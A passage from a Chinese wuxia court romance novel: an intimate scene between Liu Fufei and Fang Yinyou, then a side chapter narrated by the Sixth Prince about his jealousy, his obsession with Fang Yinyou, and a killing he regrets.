柳扶斐的双手自后方攀上方隐攸的脖颈,白皙纤长的手指交错着捧住他的下颌,随后微用了些力道将他的下巴抬高。 方隐攸不由自主的咽了咽嗓子,坚硬的喉结摩挲过柳扶斐的虎口。 柳扶斐哑着嗓子低笑几声,“别紧张,这几日我好生研究了许久,必定让你感觉到此事的妙处。” 方隐攸闻言咬了咬唇,低不可闻的轻哼一声当作回应。 他眼睛微眯着,眉眼间染上了欲.色,多了许多风情,少了许多冷淡的杀意。 柳扶斐右手的中指与无名指往下一扫,抚过方隐攸的脸颊后按住他早就变得滚烫湿滑的嘴唇。 “咬了?” “嗯。” 柳扶斐又笑了几声,语气越发的低沉暧昧,“别咬——”说罢,他的手指用力往前一探,“含住。” ... 金狻猊炉中的沉香渐渐暗了,檐下风铃叮咚作响不知停歇。 良久之后... 柳扶斐将滚烫的脸埋进方隐攸汗湿的肩窝,嗅到混着药香的体息——自从昏睡了六日后,方隐攸身上便多了一股淡淡的药香。 略微苦涩,像是碾碎了陈茶叶。 月光透过纱窗在交握的十指间流淌,柳扶斐餍足的轻舔唇角,“如何?本公子说的没错吧。” “鱼水之欢指的便是鱼儿遇了水后便会喜欢得流连忘返。” 尾音被堵在喉间,方隐攸咬着他耳垂闷声道:“闭嘴,就你有学问。” 93.钟季祐[番外] 父皇偏心。 六岁那年,因母后无所出,便将柳将军的独子柳扶斐接到宫中,说是陪着母后打发打发时间。 可是陪着柳扶斐玩闹的明明是父皇而非母后。 每日黄昏,我总能瞧见父皇玄色龙袍的一角掠过朱红廊柱。 父皇陪他荡秋千、跳百索、还会教他写字。 ...父皇从未陪我做过这些。 我问母妃为何? 母妃倚在的织金软榻上,手中蒲扇摇得极慢,像是要把时光也碾成齑粉。 她将我抱到怀中坐好,手指捻着我腰间坠着的玉坠,笑着说:“因为他那张脸。” 脸? 不都是两个鼻子一个嘴吗? 隔日晌午,我溜进母后宫中,想要仔细瞧瞧柳扶斐的脸有什么不一样。 蝉鸣聒噪,柳扶斐正趴在凉亭石桌上削木条,匕首寒光映得他眉眼如画。 木屑沾满他月白衣襟,他却浑不在意,歪头冲我笑:“六皇子,你要玩这个吗?” 匕首只比他的手大一点点,应该是宫里的人为他特意做的。 我毫不犹豫的拒绝,我才不玩这种脏东西。 他嘟着嘴哼哼两声不再理我。 我坐到他对面的石凳上打量他,想要弄清楚母妃说的话是什么意思。 他不满的瞪我一眼,我不与他计较,只全神贯注的盯着他的脸看。 我没有发现他的脸有什么不一样,除了脸白一些、唇红一些而已。 我喊他,“喂,你长得也没什么特别的嘛,为什么父皇那么喜欢你?” 柳扶斐忽然将手里的木条用力的砸向我。 木条猝然砸中额角时,我又惊又怒又痛的哭了起来,手指着他大骂他放肆,竟然敢对皇子动手。 守在旁边的下人立刻围了上来,我红着脸哭喊着要治他的罪。 我是皇子,他不过是臣子,我觉得他至少得挨上五十大板子。 可是这板子最后落到了我的手上,是我母妃用藤条打的。 她愤怒的指着我,腕上翡翠镯子叮当作响,“谁让你去招惹他的?” 我委屈的望着母妃,将被她打得肿胀的手藏在背后,问:“母妃,我不是皇子吗?为什么父皇怪我不怪他?” 母妃一言不发的瞪着我,屋里的香炉中的焚香里放了安神的香料,我没有等到母妃的回应就睡着了。 虽然母妃说我是疼晕过去了。 之后母妃再三警告我,再也不许招惹柳扶斐。 至少...在我皇兄登基前不能... 这句话是某一天母妃哄我睡觉时悄悄说的,她将我揽在怀里,捏着我旧伤未愈的掌心,温柔的说:“你父皇只有一个儿子,那就是柳扶斐。” 我不明白母妃这话的意思,但是记住了这句话,以后的日子里我尽量避开他,不与他碰面。 有一天,四皇兄和我说,江湖中有一人叫方隐攸,他手中有一本武功秘籍,若得之可练就神功。 我少时便不喜读书,但是母妃却日□□迫我读什么策论,简直是生不如死。 父皇起初还会抽空来问我学业如何,大概是看出了我并不是块读书的好料子,便只说若文不行,那就练武。 所以,当知道江湖中竟然有此等宝贝时,我心动了。 我得练成神功,让父皇知晓我虽不是文武全才,但至少武艺不凡。 可是那方隐攸狡猾的狠,我与他初次交手就没讨到好。 也不知道他手中那把长剑如何使得这么出神入化,我竟然连他的三招都接不住。 到了最后,他将我一脚踹飞,剑峰抵住我的喉咙,我几乎可以感觉到剑刃上逼人的的寒气。 残阳如血,远处林间忽起鸦啼,惊得荒草从中的野兔乱窜。 他自上而下的睥着我,眼神讥讽又轻蔑。 “废物。” 短短两个字让我愤怒不已,我想要反扑,但是一丈开外的死侍没有一个是方隐攸的对手,没有一个人能救我,他想杀我轻而易举。 我大概真是个废物。 他手腕一动,用剑身轻拍我脸上的面具,发出清脆声响。 “想要秘籍?” 我梗着脖子冷哼一声,不想回应他。 他忽然痴痴发笑,剑锋往下滑,从侧颈缓慢的滑倒我的胸膛,然后用力抵住我的心脏。 他能感觉到我的心跳吗?察觉到我此刻的慌乱不安? 我望进他的双眼,暗自感叹为何自己不能像他这样威风凛凛的用剑抵住敌人的命脉。 “那就变得再强些。” 说完,他脚尖一点,借力翻上身后树梢以后几个起落便消失在我了我的视野中。 看来,他并未将我视作威胁。 之后,我追了他两年多,他总是一个人,行踪不定,自由肆意。 他爱酒,还贪杯,大多数时候会喝的烂醉,但是等到我觉得我可以趁机制服他时,又会被他一脚踹飞。 有一次,我悄然接近他,隔着丈许的距离时他忽然醉眼迷离的回首望着我。 我便不敢再动,警惕的观望他,提防他出其不意的一剑了解了我。 事实证明我防不住他,不过是眨眼间的功夫他就掐住了我的脖颈,然后将我甩到了地上。 地面湿软,芳草如茵,我能闻到扑鼻的泥土的腥味和青草的清香...以及他身上的酒香。 摔得并不痛,我不想爬起来,只这么仰面望着他。 方隐攸冷眼撇我一眼,仰头继续灌酒,他的醉意渐浓,捧住酒坛的修长的手指都开始泛红。 他乌黑的长发落在侧颈,几根挂在他凸起的喉结上。 我闭上眼,却看见他的发丝化作长蛇,勒住我的脖颈,方才被他掐过的地方开始发烫,是由内至外的烫,让我的呼吸都开始变得不顺畅,害怕咽进去一团火,将我烧得体无完肤。 我逃命似的离开,回了京城。 然后急匆匆的命人替我寻了几个干净的女人。 她们个个肤如凝脂、绰约多姿,都是难得的尤物。 但是我脑海里浮现的却只有方隐攸那一双醉眼,迷离而又冷冽,更多的是对我的蔑然。 我乃堂堂六皇子,他当真是放肆,竟然敢用那样的眼神看我! 可是,他该用怎样的眼神看我呢? 我不清楚,没有任何可以凭借的经验。 我以为他会一直独行,直到我在他身边看到柳扶斐,那个我母妃几次三番叮嘱我不能招惹的人。 我感觉到困惑、惊讶以及...愤怒,方隐攸为什么会和他在一起? 那个纨绔,那个仗着父皇宠爱在京城中无法无天的浪荡子! 凭什么和方隐攸靠的那么近? 而我,连兵器都只能用箭,否则会来不及跑从而被方隐攸毫不犹豫殴打。 方隐攸打我从不手下留情,但是他也从未想要杀死我。 我清楚,他将我当做一个玩具,一个消遣。 他想要看看如此愚笨的我,什么时候能成为他的对手。 什么时候呢? 大概是遥遥无期。 在青州,我射杀了两个人——一个老实勤恳的残疾父亲和他的儿子。 闹市街头可真热闹啊,我却只看得到方隐攸那双冰冷的眼睛。 那是我第一次在他眼中窥见毫不掩饰的杀气。 我当然知道我不该这样,那两枝箭射在方隐攸身上都比射在那两个人眉心强。 但是我忍不住,方隐攸该是孑然一身的刺客,不该与那个纨绔为伍。 ——我乃堂堂皇子,杀两个百姓有什么大不了? 我这样为自己脱罪,迅速隐匿人夜色中。 之后我知晓方隐攸与柳扶斐在一起不过是为了一点钱财。 挺好的,我也有钱,黄金千两不嫌多。 可是当我带着钱财去找方隐攸时,却惊讶的发现柳扶斐竟然会武... 他凭什么会武? 是父皇教他的吗?必然是了,柳将军常年不在京城,还有谁能教他?而且...父皇善使鞭... 我满心愤怒的回了京,想要质问父皇为何要待柳扶斐如此,却在见到父皇时一句话都说不出来。 父皇面无表情的看我一眼,我便连呼吸都停了,唯恐惹 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我不解皇兄这话的意思,在府中郁闷的过了几日。 大概是看出我的心中有怨,皇兄邀我去舒慕谨的庄子里散散心。 我知道那庄子里有些什么,之前从未去过,但是这次我应了,只想着发泄发泄心中的愤懑。 哪里知道竟然看到方隐攸和柳扶斐相携而来。 我震惊不已,他难道不知道这里是京城吗? 他不知道难道柳扶斐不知道吗? 这个纨绔想害死他吗? 我在心里将柳扶斐唾骂千万遍,用眼神将他千刀万剐,然后等我发应过来时,箭已经朝他射去了。 我当然没能射中柳扶斐,有方隐攸在,我什么时候得手过? 我郁结不已,看他们两人在庄子里形影不离,好不容易等到方隐攸落了单与他说上几句话,那个可恶的柳扶斐又来了。 于是我找到皇兄,想要他替我将方隐攸讨来。 这里是京城,不是江湖,皇兄贵为太子,他必然能让我如愿。 大概是因为皇兄已经拒绝过我一次了,这次听到我的请求之后他并未直接拒绝。 他问:“为什么要他?他不过是个侍卫。” 我没敢告诉他方隐攸的真实身份,只说我看他武艺不凡,想要他做我的师父。 皇兄没有再问,他说他会让我如愿的的,让我耐心的等,以及...别再招惹柳扶斐。 我从未想过招惹他,我只是不想他站在方隐攸身边。 得到皇兄的许诺后,我便在京城安心的等,直到我听闻方隐攸做了盟主。 他什么时候离京的? 我跑去东宫找皇兄,他眼神复杂的望着我,说:“你早知道他是个江湖刺客?” 我点头。 他又问,“你既然知道他的身份,为什么还要和他有纠葛?” 为什么? 我也说不清,只是想着柳扶斐既然能与他同行,那我钟季祐为什么不可以? 我难道比不上柳扶斐? “因为我想要他做我的师父。” 我依旧用这句话搪塞皇兄,他闻言沉默良久,然后长叹一口气后让我离开。 我又等了几日。 等到了四皇兄的死讯,以及皇兄那句,“你该死了这条心。” 我不解,皇兄身为太子,还有什么事情是做不到的? “哥哥,我只求你这一件事。” 我叫他哥哥,而不是皇兄。 东宫烛火摇曳,皇兄的扳指磕在青玉案上,他抿着唇望着我,“我是你的靠山,父皇是柳扶斐的靠山。” 只这一句我便懂了, 父皇唯有一个儿子,名为柳扶斐。 之后... 之后柳扶斐与方隐攸乃是天赐的好姻缘一事闹得人尽皆知。 我便在想。 我是该从未入过江湖还是该换个方式与方隐攸相识?